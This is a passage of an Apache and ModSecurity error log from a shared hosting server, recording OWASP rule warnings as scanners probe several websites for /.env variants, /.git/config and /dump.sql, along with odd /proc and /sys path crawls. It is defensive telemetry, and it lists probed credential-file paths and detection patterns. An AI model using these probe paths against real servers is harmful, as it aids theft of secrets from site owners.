[Fri Jul 17 08:27:40.774900 2026] [security2:error] [pid 1993668:tid 1993668] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaJBAi3pC6yjXGNq19LwAAAAU"]
[Fri Jul 17 08:27:40.775259 2026] [security2:error] [pid 1993668:tid 1993668] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJBAi3pC6yjXGNq19LwAAAAU"]
[Fri Jul 17 08:27:41.085668 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:41.088115 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:41.089397 2026] [security2:error] [pid 1994446:tid 1994446] [client 47.79.11.148:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:37/subsystem/tty30/subsystem/tty25/"] [unique_id "almaJV2NhE8i6ppze4etugAAAAs"]
[Fri Jul 17 08:27:41.089428 2026] [security2:error] [pid 1994446:tid 1994446] [client 47.79.11.148:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:37/subsystem/tty30/subsystem/tty25/"] [unique_id "almaJV2NhE8i6ppze4etugAAAAs"]
[Fri Jul 17 08:27:41.886410 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:59814] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:42.296114 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:59844] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:43.905533 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:60114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:43.911271 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-11-04_10.pdf"] [unique_id "almaJ0hq6UAnqYko0LpXLwAAABE"]
[Fri Jul 17 08:27:43.911691 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-11-04_10.pdf"] [unique_id "almaJ0hq6UAnqYko0LpXLwAAABE"]
[Fri Jul 17 08:27:43.912088 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-sl-sin-11-04_10.pdf"] [unique_id "almaJ0hq6UAnqYko0LpXLwAAABE"]
[Fri Jul 17 08:27:44.488614 2026] [security2:error] [pid 1993671:tid 1993671] [client 44.210.69.41:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autodiscover.cgi"] [unique_id "almaKA5GPQ6hs4VrfMo90wAAAAY"]
[Fri Jul 17 08:27:46.794951 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:60264] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:46.931002 2026] [ssl:error] [pid 2013810:tid 2013810] (70014)End of file found: [client 66.85.158.91:60272] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:47.240293 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.24:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory106/subsystem/devices/memory116/node0/cpu0/subsystem/devices/cpu0/subsystem/uevent
[Fri Jul 17 08:27:47.403850 2026] [security2:error] [pid 2013828:tid 2013828] [client 54.166.225.33:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-global": Permission denied [hostname "coatrent.venee.lk"] [uri "/"] [unique_id "almaK-N_HRgVfO4akvmJoAAAABg"]
[Fri Jul 17 08:27:47.403913 2026] [security2:error] [pid 2013828:tid 2013828] [client 54.166.225.33:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/veneelk-ip": Permission denied [hostname "coatrent.venee.lk"] [uri "/"] [unique_id "almaK-N_HRgVfO4akvmJoAAAABg"]
[Fri Jul 17 08:27:47.495133 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:60332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:47.677710 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:47.689356 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:47.961500 2026] [security2:error] [pid 2013809:tid 2013809] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env"] [unique_id "almaK0gVnBK6wAv37w6otwAAABQ"]
[Fri Jul 17 08:27:48.601755 2026] [security2:error] [pid 2013809:tid 2013809] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env"] [unique_id "almaK0gVnBK6wAv37w6otwAAABQ"]
[Fri Jul 17 08:27:48.602190 2026] [security2:error] [pid 2013809:tid 2013809] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaK0gVnBK6wAv37w6otwAAABQ"]
[Fri Jul 17 08:27:47.974945 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaKwRRrtuZqNDDSqWsqwAAABo"]
[Fri Jul 17 08:27:48.602578 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaKwRRrtuZqNDDSqWsqwAAABo"]
[Fri Jul 17 08:27:48.019726 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaLIha5y5fYnQ1qRrvqAAAAAE"]
[Fri Jul 17 08:27:48.602868 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaKwRRrtuZqNDDSqWsqwAAABo"]
[Fri Jul 17 08:27:48.020147 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.82.45.238:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaLAPhWp7RzB65h36esQAAAA0"]
[Fri Jul 17 08:27:48.603260 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaLAPhWp7RzB65h36esQAAAA0"]
[Fri Jul 17 08:27:48.603268 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaLIha5y5fYnQ1qRrvqAAAAAE"]
[Fri Jul 17 08:27:48.603494 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaLAPhWp7RzB65h36esQAAAA0"]
[Fri Jul 17 08:27:48.603624 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLIha5y5fYnQ1qRrvqAAAAAE"]
[Fri Jul 17 08:27:48.603793 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLAPhWp7RzB65h36esQAAAA0"]
[Fri Jul 17 08:27:48.022311 2026] [security2:error] [pid 2013828:tid 2013828] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaLON_HRgVfO4akvmJoQAAABg"]
[Fri Jul 17 08:27:48.604199 2026] [security2:error] [pid 2013828:tid 2013828] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaLON_HRgVfO4akvmJoQAAABg"]
[Fri Jul 17 08:27:48.604532 2026] [security2:error] [pid 2013828:tid 2013828] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLON_HRgVfO4akvmJoQAAABg"]
[Fri Jul 17 08:27:48.096363 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.82.45.238:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ltbi.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaLHRlmrtCoY_COpcibAAAAAg"]
[Fri Jul 17 08:27:48.246010 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/Circulars/Corona_virus/TB_1.pdf"] [unique_id "almaLJOFLENLI63GGOEKJwAAAAQ"]
[Fri Jul 17 08:27:48.606092 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaLHRlmrtCoY_COpcibAAAAAg"]
[Fri Jul 17 08:27:48.606423 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/Circulars/Corona_virus/TB_1.pdf"] [unique_id "almaLJOFLENLI63GGOEKJwAAAAQ"]
[Fri Jul 17 08:27:48.606474 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLHRlmrtCoY_COpcibAAAAAg"]
[Fri Jul 17 08:27:48.606844 2026] [security2:error] [pid 1993659:tid 1993659] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/Circulars/Corona_virus/TB_1.pdf"] [unique_id "almaLJOFLENLI63GGOEKJwAAAAQ"]
[Fri Jul 17 08:27:48.623299 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaLHt8zp89pALg8Q5lAgAAAA4"]
[Fri Jul 17 08:27:48.623586 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaLHt8zp89pALg8Q5lAgAAAA4"]
[Fri Jul 17 08:27:48.623919 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLHt8zp89pALg8Q5lAgAAAA4"]
[Fri Jul 17 08:27:48.624366 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:48.626333 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.79.10.133:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:52/subsystem/tty41/subsystem/tty5/"] [unique_id "almaLGidQp3SsqeycPEsrwAAAAo"]
[Fri Jul 17 08:27:48.629394 2026] [security2:error] [pid 1993998:tid 1993998] [client 47.79.10.133:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:52/subsystem/tty41/subsystem/tty5/"] [unique_id "almaLGidQp3SsqeycPEsrwAAAAo"]
[Fri Jul 17 08:27:48.629940 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.82.45.238:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag 